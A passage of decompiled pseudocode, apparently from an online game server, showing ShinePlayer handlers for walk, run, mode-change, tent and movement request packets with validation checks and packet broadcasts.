AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8196; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_1246F162; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ"); } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043CA60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@9 int v6; // edi@9 int v7; // ebp@9 char *v8; // eax@9 int v9; // edx@9 int v10; // ST04_4@9 int v11; // eax@9 int v12; // edx@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v14; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S10_3 & 1) ) { _S10_3 |= 1u; cmc_18.cmc_AllowMode = 70; atexit(_E11_5); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_18.cmc_AllowMode) || *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 3); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8198; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_1246F162; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043CC40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 signed int v5; // esi@1 unsigned __int8 v6; // al@6 int v7; // edx@8 void *v8; // edi@13 int v9; // edi@14 char *v10; // eax@15 int v11; // ST04_4@15 int v12; // eax@15 int v13; // edx@15 char *v14; // [sp-4h] [bp-2Ch]@5 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@15 int v16; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S12_19 & 1) ) { _S12_19 |= 1u; cmc_19.cmc_AllowMode = 6; atexit(_E13_14); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_19.cmc_AllowMode) ) goto LABEL_12; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Invalid map", 0); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v6 = *(_BYTE *)(netcmd + 2); v7 = v6 == 1 || v6 == 2; if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Try to set invalid mode", v6); LABEL_12: v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } **((_BYTE **)v4 + 929) = v6; v8 = (void *)(*(_DWORD *)((char *)v4 + 32047) + 29); if ( *((_BYTE *)v4 + 89087) ) { memcpy(v8, (char *)v4 + 89040, 0x2Cu); v9 = (int)((char *)v8 + 44); *(_WORD *)v9 = *((_WORD *)v4 + 44542); *(_BYTE *)(v9 + 2) = *((_BYTE *)v4 + 89086); *((_BYTE *)v4 + 89087) = 0; v5 = -1; } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8201; *((_WORD *)v10 + 1) = handle; v10[4] = **((_BYTE **)v4 + 929); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); v13 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v13 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v13 + 2) = byte_1246F162; LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; LABEL_16: --funcallanalizer.fca_stackpoint; v16 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043CE30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@7 int v6; // ebp@9 int v7; // eax@9 int v8; // edx@10 int v9; // eax@11 int v10; // edx@12 char *v11; // eax@13 int v12; // ecx@13 int v13; // ecx@13 int v14; // eax@13 int v15; // eax@13 unsigned int v16; // eax@13 int v17; // edx@13 int v18; // eax@13 int v19; // [sp-18h] [bp-44h]@9 int v20; // [sp-14h] [bp-40h]@9 int v21; // [sp-10h] [bp-3Ch]@9 int v22; // [sp-Ch] [bp-38h]@9 int v23; // [sp-8h] [bp-34h]@9 int v24; // [sp-4h] [bp-30h]@9 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@13 int v27; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; if ( !(_S14_4 & 1) ) { _S14_4 |= 1u; cmc_20.cmc_AllowMode = 6; atexit(_E15_4); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_20.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2690); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); return; } if ( *((_BYTE *)v4 + 7416) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2694); goto LABEL_17; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 157) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2692); goto LABEL_17; } v6 = *(_DWORD *)((char *)v4 + 78); v24 = 65535; v23 = 0; v19 = (int)ShineObjectClass::ShineObject::so_TentPoint; v20 = 0; v21 = 0; v22 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 400, 0, v19, v20, v21, v22, v23, v24) ) { v9 = *(_DWORD *)((char *)v4 + 32047) + 80; *(_WORD *)v9 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v9 + 2) = byte_1246F162; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); v24 = *(_DWORD *)((char *)v4 + 32047) + 29; *((_DWORD *)v4 + 22482) = &ShineObjectClass::ShinePlayer::sp_RecoverPoint_House; BriefInfoBackup::bib_Backup((BriefInfoBackup *)v4 + 1855, (CHARBRIEFINFO_NOTCAMP *)v24); v24 = *(_DWORD *)((char *)v4 + 32047) + 29; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v24) ) { **((_BYTE **)v4 + 929) = 4; v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8233; *((_WORD *)v11 + 1) = handle; v12 = *(_DWORD *)((char *)v4 + 32047) + 29; v11 += 4; *(_DWORD *)v11 = *(_DWORD *)v12; *((_DWORD *)v11 + 1) = *(_DWORD *)(v12 + 4); v13 = *(_DWORD *)(v12 + 8); v24 = 16; *((_DWORD *)v11 + 2) = v13; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v24); v14 = *(_DWORD *)((char *)v4 + 78); v24 = 65535; v23 = 0; v22 = (int)&alchat; v21 = 0; v20 = 0; v19 = v14; LOBYTE(v27) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v15, v19, v20, v21, v22, v23, v24); v16 = clockwatch.cw_CurrTick; v17 = *(_DWORD *)v4; *((_DWORD *)v4 + 930) = clockwatch.cw_CurrTick; *((_DWORD *)v4 + 931) = v16; (*(void (__thiscall **)(void *))(v17 + 2716))(v4); v18 = *(_DWORD *)v4; v24 = 2689; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v18 + 776))(v4, 8, 40, 2689); LOBYTE(v27) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v10 = *(_DWORD *)v4; v24 = 2693; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v10 + 776))(v4, 8, 40, 2693); v24 = *(_DWORD *)((char *)v4 + 32047) + 29; BriefInfoBackup::bib_Restore((BriefInfoBackup *)v4 + 1855, (CHARBRIEFINFO_NOTCAMP *)v24); } } else { v8 = *(_DWORD *)v4; v24 = 2691; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v8 + 776))(v4, 8, 40, 2691); } v27 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043D140) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // ebp@1 int v6; // eax@3 void *v7; // edi@5 int v8; // edi@6 char *v9; // eax@7 int v10; // ST18_4@7 int v11; // ebx@7 int v12; // esi@7 int v13; // eax@7 int v14; // eax@8 int v15; // eax@8 int v16; // ST04_4@9 int v17; // eax@9 int v18; // eax@9 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@9 int v20; // [sp+24h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S16_2 & 1) ) { _S16_2 |= 1u; cmc_21.cmc_AllowMode = 16; atexit(_E17_3); } v6 = *(_DWORD *)(v5 + 3716); if ( (1 << *(_BYTE *)v6) & cmc_21.cmc_AllowMode ) { *(_DWORD *)(v5 + 89928) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_BYTE *)v6 = 1; v7 = (void *)(*(_DWORD *)(v5 + 32047) + 29); if ( *(_BYTE *)(v5 + 89087) ) { memcpy(v7, (const void *)(v5 + 89040), 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *(_WORD *)(v5 + 89084); *(_BYTE *)(v8 + 2) = *(_BYTE *)(v5 + 89086); *(_BYTE *)(v5 + 89087) = 0; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v9 + 1) = handle; v10 = a2; v11 = (int)(v9 + 4); v12 = *(_DWORD *)(v5 + 32047) + 29; memcpy(v9 + 4, (const void *)v12, 0x2Cu); v12 += 44; *((_WORD *)v9 + 24) = *(_WORD *)v12; v9[50] = *(_BYTE *)(v12 + 2); v13 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1160))(v5, v10); if ( (((unsigned int)*(_BYTE *)v11 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 40))(v13) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v14 + 40))(v14); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v15 + 40))(v15)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)((char *)&alchat + 4), &gpp, 51); v16 = *(_DWORD *)(v5 + 78); v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v5, v17, v16, 0, 0, (int)&alchat.alpb_packet, 0, 65535); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43); v18 = *(_DWORD *)(v5 + 32047) + 80; *(_WORD *)v18 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v18 + 2) = byte_1246F162; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43, 2690); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } } // 43D140: could not find valid save-restore pair for ebx // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043D380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@10 int v6; // ebp@13 int v7; // edi@13 int v8; // eax@15 int v9; // ecx@15 bool v10; // zf@21 char *v11; // ecx@22 int v12; // eax@22 int v13; // ecx@22 int v14; // ecx@22 int v15; // ST04_4@22 int v16; // eax@22 int v17; // eax@22 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@22 int v20; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S18_14 & 1) ) { _S18_14 |= 1u; cmc_22.cmc_AllowMode = 70; atexit(_E19_10); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_22.cmc_AllowMode && !(*(_BYTE *)(v4 + 7416) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2780))(v4) && (!*(_DWORD *)(v4 + 172) || *(_DWORD *)(v4 + 144) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Walk); if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 92156)) && !*(_BYTE *)(v4 + 92244) ) (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2716))(v4); ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); v6 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1280))(v4); v7 = netcmd + 10; if ( (*(_DWORD *)(netcmd + 2) != *(_DWORD *)(netcmd + 10) || *(_DWORD *)(netcmd + 6) != *(_DWORD *)(netcmd + 14)) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, netcmd + 2) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v7) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { v10 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), v7, 2) == 1; v8 = *(_DWORD *)v4; v9 = v4; if ( !v10 ) { (*(void (__thiscall **)(int, int, int, signed int, _DWORD))(v8 + 1560))(v4, v7, v6, 1, 0); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2684))(v4); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v12 = (int)(v11 + 2); *((_WORD *)v11 + 1) = *(_WORD *)(v4 + 4); v13 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v12 + 2) = *(_DWORD *)v13; *(_DWORD *)(v12 + 6) = *(_DWORD *)(v13 + 4); *(_DWORD *)(v12 + 10) = *(_DWORD *)v7; v14 = *(_DWORD *)(netcmd + 14); *(_BYTE *)(v12 + 20) &= 0xFEu; *(_DWORD *)(v12 + 14) = v14; *(_WORD *)(v12 + 18) = v6; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 24, v12); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v15 = *(_DWORD *)(v4 + 78); LOBYTE(v20) = 1; v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v16, v15, 0, 0, (int)&alchat, 0, 65535); v17 = *(_DWORD *)(v4 + 32047) + 80; *(_WORD *)v17 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v17 + 2) = byte_1246F162; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_17; } } else { v8 = *(_DWORD *)v4; v9 = v4; } (*(void (__thiscall **)(int))(v8 + 2804))(v9); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_17: v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043D680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@13 int v6; // ebp@13 int v7; // edx@18 int v8; // ecx@18 char v9; // al@24 char *v10; // ecx@25 int v11; // eax@25 int v12; // ecx@25 int v13; // ecx@25 int v14; // ST04_4@25 int v15; // eax@25 int v16; // eax@25 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@25 int v19; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S20_3 & 1) ) { _S20_3 |= 1u; cmc_23.cmc_AllowMode = 70; atexit(_E21_3); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_23.cmc_AllowMode && !(*(_BYTE *)(v4 + 7416) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2780))(v4) && (!*(_DWORD *)(v4 + 172) || *(_DWORD *)(v4 + 144) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_10: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); if ( **(_BYTE **)(v4 + 3716) == 6 && *(_BYTE *)(v4 + 92148) ) goto LABEL_10; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Run); v6 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1284))(v4); if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 92156)) && !*(_BYTE *)(v4 + 92244) ) (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2716))(v4); ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); if ( *(_DWORD *)(netcmd + 2) != *(_DWORD *)(netcmd + 10) || *(_DWORD *)(netcmd + 6) != *(_DWORD *)(netcmd + 14) ) { if ( !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, netcmd + 2) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, netcmd + 10) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2804))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); goto LABEL_20; } v9 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), netcmd + 10, 2); v7 = *(_DWORD *)v4; v8 = v4; if ( v9 != 1 ) { (*(void (__thiscall **)(int, int, int, signed int, _DWORD))(v7 + 1560))(v4, netcmd + 10, v6, 2, 0); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2684))(v4); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v11 = (int)(v10 + 2); *((_WORD *)v10 + 1) = *(_WORD *)(v4 + 4); v12 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v11 + 2) = *(_DWORD *)v12; *(_DWORD *)(v11 + 6) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 10) = *(_DWORD *)(netcmd + 10); v13 = *(_DWORD *)(netcmd + 14); *(_BYTE *)(v11 + 20) &= 0xFEu; *(_DWORD *)(v11 + 14) = v13; *(_WORD *)(v11 + 18) = v6; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 26, v11); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v14 = *(_DWORD *)(v4 + 78); LOBYTE(v19) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v15, v14, 0, 0, (int)&alchat, 0, 65535); v16 = *(_DWORD *)(v4 + 32047) + 80; *(_WORD *)v16 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v16 + 2) = byte_1246F162; LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_20; } } else { v7 = *(_DWORD *)v4; v8 = v4; } (*(void (__thiscall **)(int))(v7 + 2804))(v8); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_20: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (0043D9C0) 